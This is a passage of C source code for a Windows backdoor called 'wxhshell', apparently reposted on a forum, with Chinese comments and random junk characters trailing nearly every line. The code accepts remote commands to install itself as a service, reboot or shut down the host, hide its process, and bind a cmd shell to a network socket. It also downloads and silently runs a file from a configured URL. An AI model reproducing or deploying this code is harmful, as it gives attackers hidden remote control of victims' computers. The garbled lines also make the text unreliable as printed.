  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Do3#Xe2V  
  } 73^ T*  
  else { imJ[:E  
v&[X&Hu[  
    switch(cmd[0]) { [9db=$v8$  
  gL[1wM%?  
  // 帮助 XEvGhy#  
  case '?': { ;Sx'O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dr8WV \4@  
    break; d'lr:=GQ  
  } %-1BA *J`|  
  // 安装 L5V'Sr  
  case 'i': { h a,=LV  
    if(Install()) yL.PGF1(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] dm1Qm  
    else EMVoTW)z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =ELDJt  
    break; *MnG-\{j  
    } pr[B$X .V  
  // 卸载 BST7y4R)BS  
  case 'r': { Q}=W>|aE.  
    if(Uninstall()) lJGqR0:r+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :XPC0^4s  
    else @aqd'O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r {/ G\  
    break; LEn=dU  
    } O$<%z[  
  // 显示 wxhshell 所在路径 aUIc=Z  
  case 'p': { #TW>'l F  
    char svExeFile[MAX_PATH]; q5'yD;[hE  
    strcpy(svExeFile,"\n\r"); `lu"yF  
      strcat(svExeFile,ExeFile); +s/N@]5nW  
        send(wsh,svExeFile,strlen(svExeFile),0); sw=JUfAhy  
    break; qmue!Fv#g  
    } \CJx=[3(  
  // 重启 iXG>j.w{79  
  case 'b': { B:6sVJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IQk#  
    if(Boot(REBOOT)) @sg T[P*ut  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H.l,%x&K  
    else { fbzKO^Ub  
    closesocket(wsh); UpszCY4  
    ExitThread(0); R+kZLOE  
    } )D" G3g.  
    break; NrI 5uC7  
    } ulPrb>i  
  // 关机 xT=kxyu  
  case 'd': { eF8 aB?&"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z|DA _dG  
    if(Boot(SHUTDOWN)) 8[`^(O#\E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o {Xw Li  
    else { |peMr#  
    closesocket(wsh); z[|PsC3i:  
    ExitThread(0); |0%4G k);  
    } $cJN9|$6  
    break; avxn}*:X.  
    } $)TF,-#x  
  // 获取shell ExOB P  
  case 's': { OnPy8mC  
    CmdShell(wsh); u7Y'3x,`  
    closesocket(wsh); Io4:$w  
    ExitThread(0); ?lET45'  
    break; }x#P<d(  
  }  wc+N  
  // 退出 T956L'.+G  
  case 'x': { 49J+&G?)j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1{Alj27  
    CloseIt(wsh); 4_m /_Z0x  
    break; ]|$$:e^U9  
    } \_I)loPc8  
  // 离开 vN%j-'D\A4  
  case 'q': { O[hbu![  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @DQ"vFj6<  
    closesocket(wsh); !k>H e*M}P  
    WSACleanup(); Lx:N!RDw  
    exit(1); lPFdQ8M  
    break; MVeQ5c(  
        } J6["j   
  } jC Kt;lj  
  } Rvz.ym:F  
i[t=@^|  
  // 提示信息 @+CSY-g$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kO3k| 6f=  
} " ;R3260  
  } 3@cJ=   
5KH'|z  
  return; 4h_4jqf=pU  
} !NAX6m  
7f\^VG  
// shell模块句柄 zloaU  
int CmdShell(SOCKET sock) SJ[@fUxO)  
{ =<'iLQb1  
STARTUPINFO si; 0rm;)[SjF  
ZeroMemory(&si,sizeof(si)); b gc<)=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |nH0~P#!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rIFC#Jd/  
PROCESS_INFORMATION ProcessInfo; }AsF\W+5  
char cmdline[]="cmd"; :D+ SY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iUG/   
  return 0; nog\,NT  
} i{FC1tVeL_  
9hs{uxwuEE  
// 自身启动模式 Obc3^pV&  
int StartFromService(void) Ae_ E;[mj  
{ ;gW|qb+#)j  
typedef struct {O&liU4  
{ Lj Q1ar\  
  DWORD ExitStatus; +81+4{*  
  DWORD PebBaseAddress; g/X=#!  
  DWORD AffinityMask;   [aS)<^  
  DWORD BasePriority; U)/Ul>dY  
  ULONG UniqueProcessId; rDx],O _  
  ULONG InheritedFromUniqueProcessId; f93X5hFnF  
}   PROCESS_BASIC_INFORMATION; '5,,XhP  
{kRC!}  
PROCNTQSIP NtQueryInformationProcess; e "adkV  
Z8dN0AqZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mV(x&`Cx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :XQ  
'lRHdD}s  
  HANDLE             hProcess; v3JIUdU=P  
  PROCESS_BASIC_INFORMATION pbi; +@)$l+kk9  
yzNX2u1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]ifHA# z`~  
  if(NULL == hInst ) return 0; WZ6{(`;#m  
a=B0ytNm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5NF&LM;i(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qCkg\)Ks5I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DF[b?  
u4+uGYr*@  
  if (!NtQueryInformationProcess) return 0; KW6" +,Th  
vzm4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E|4XQ|B@  
  if(!hProcess) return 0; 2V"gqJHv  
n`KXJ?t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |AfQ_iT6c  
\\G6c4 fC  
  CloseHandle(hProcess); ,M h/3DPgE  
~m|?! ]n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0?Wf\7  
if(hProcess==NULL) return 0; QRHm |f9_C  
2[YD&  
HMODULE hMod; ;)]zv\fC  
char procName[255]; 4qz{ D"M  
unsigned long cbNeeded; iY'hkrw  
JiLrwPex[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w@ylRq  
kJeOlO[  
  CloseHandle(hProcess); U1|4vd9  
c^WBB$v  
if(strstr(procName,"services")) return 1; // 以服务启动 %=<NqINM[  
f -nC+   
  return 0; // 注册表启动 tWOze, N  
} U?ic$J]N  
?~Ed n-" Y  
// 主模块  Y*}>tD;  
int StartWxhshell(LPSTR lpCmdLine) c_qy)N  
{ h16Nr x  
  SOCKET wsl; nN\XVGP,t  
BOOL val=TRUE; #Ii.tTk  
  int port=0; nW%=k!''  
  struct sockaddr_in door; p33GKg0i+(  
vhEs+ j  
  if(wscfg.ws_autoins) Install(); # %y{mn  
x,c68Q)g  
port=atoi(lpCmdLine); `6sQlCOnF  
%R"/`N9R,  
if(port<=0) port=wscfg.ws_port; /aa;M*Qp  
q.QYn.CBZz  
  WSADATA data; Iw |[*Nu-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GO3YXO33  
HPdwx V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y8S6ZtA}2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q<uLBaL_]r  
  door.sin_family = AF_INET; <~X6D?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +<WT$ddK=5  
  door.sin_port = htons(port); GWZXRUc  
t8N9/DZ}Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1p<?S}zg@  
closesocket(wsl); :tG".z  
return 1; QGj5\{E_  
} gq1Y]t|4F  
1WN93 SQ=  
  if(listen(wsl,2) == INVALID_SOCKET) { LHz<=]?@  
closesocket(wsl); W}_}<rlF  
return 1; {-`OE  
} /)4r2x  
  Wxhshell(wsl); )t ch>.EQ_  
  WSACleanup(); i4r~eneP  
^JDV4>S\  
return 0; SW'KYzn  
<d`UifqD  
} 6i9I 4*'  
2^M+s\p  
// 以NT服务方式启动 oP75|p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jt r=8OiL  
{ h1o+7  
DWORD   status = 0; h#ot)m|I  
  DWORD   specificError = 0xfffffff;  Ph{+uI  
$rYu4^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m8^2k2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H=RV M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j5GZ;d?  
  serviceStatus.dwWin32ExitCode     = 0; M%^laf  
  serviceStatus.dwServiceSpecificExitCode = 0; 6lAo`S\)eX  
  serviceStatus.dwCheckPoint       = 0; )9Ojvp=#r:  
  serviceStatus.dwWaitHint       = 0; ^!Jm/-  
<Pt\)"JA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s9bP6N!,  
  if (hServiceStatusHandle==0) return; )II,HT-LY  
cS7!,XC  
status = GetLastError(); R_&z2I  
  if (status!=NO_ERROR) 8|Y^Jn\p5u  
{ W3rvKqdw5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Cjk AQ(9  
    serviceStatus.dwCheckPoint       = 0; ;<<IXXKU  
    serviceStatus.dwWaitHint       = 0; FRk_xxe"K  
    serviceStatus.dwWin32ExitCode     = status; @il}0  
    serviceStatus.dwServiceSpecificExitCode = specificError; CWYJ<27v{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B[X6A Qj}d  
    return; to=##&ld<  
  } 94@!.11  
yuX 0Y{:I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DP]|}8~L  
  serviceStatus.dwCheckPoint       = 0; n7uD(cL  
  serviceStatus.dwWaitHint       = 0; g(H3arb&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Sd6^%YB  
} [KJL%u|8/  
:C6r N}_k  
// 处理NT服务事件,比如:启动、停止  Z5-'|h$|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ra2q. H  
{ )ixE  
switch(fdwControl) Nq6CvDXi  
{ !P3|T\|]+  
case SERVICE_CONTROL_STOP: M0 8Y  
  serviceStatus.dwWin32ExitCode = 0; oU?X"B9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W^Y(FUy~  
  serviceStatus.dwCheckPoint   = 0; W%cPX0  
  serviceStatus.dwWaitHint     = 0; b7j#a#  
  { d6&tz!f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Wrcl ai  
  } 9 <m j@bI$  
  return; GqxK|G1  
case SERVICE_CONTROL_PAUSE: ?%ntO]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x=N;>  
  break; @R{&>Q:.  
case SERVICE_CONTROL_CONTINUE: cEu98nP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ix`xdVj`  
  break; ^dD?riFAk  
case SERVICE_CONTROL_INTERROGATE: fZgU@!z  
  break;  \RO Sd  
}; >WX'oP(<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +JG"eh&J"H  
} ^%JWc 3jZ  
tH(#nx8  
// 标准应用程序主函数 q% 9oGYjvQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /WVMT]T6^,  
{ t%@ pyK  
ek!N eu>  
// 获取操作系统版本 miSC'!  
OsIsNt=GetOsVer(); 8:NHPHxB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?,C,q5 T\  
cn:VEF:l  
  // 从命令行安装 Q.\ovk~,a  
  if(strpbrk(lpCmdLine,"iI")) Install(); xRN$cZC  
I5?LD=tt  
  // 下载执行文件 9~I WGj?  
if(wscfg.ws_downexe) { 0in6 z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JN)t'm[kyE  
  WinExec(wscfg.ws_filenam,SW_HIDE); W:J00rsv=`  
} MJ08@xGa  
JH#+E04#  
if(!OsIsNt) { k<H&4Z)d9  
// 如果时win9x,隐藏进程并且设置为注册表启动 @("AkYPj  
HideProc(); l !v#6#iq  
StartWxhshell(lpCmdLine); %C<eR_  
} @oNrR$7  
else ERjf.7)d  
  if(StartFromService()) D(|$6J 0  
  // 以服务方式启动 E@KK\m \e  
  StartServiceCtrlDispatcher(DispatchTable); lUd,-  
else hd-ds~ve  
  // 普通方式启动 "(qO}&b>  
  StartWxhshell(lpCmdLine); -X \v B  
]du~V?N   
return 0; H1M>60*  
}
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只看该作者 1 发表于: 2006-10-10
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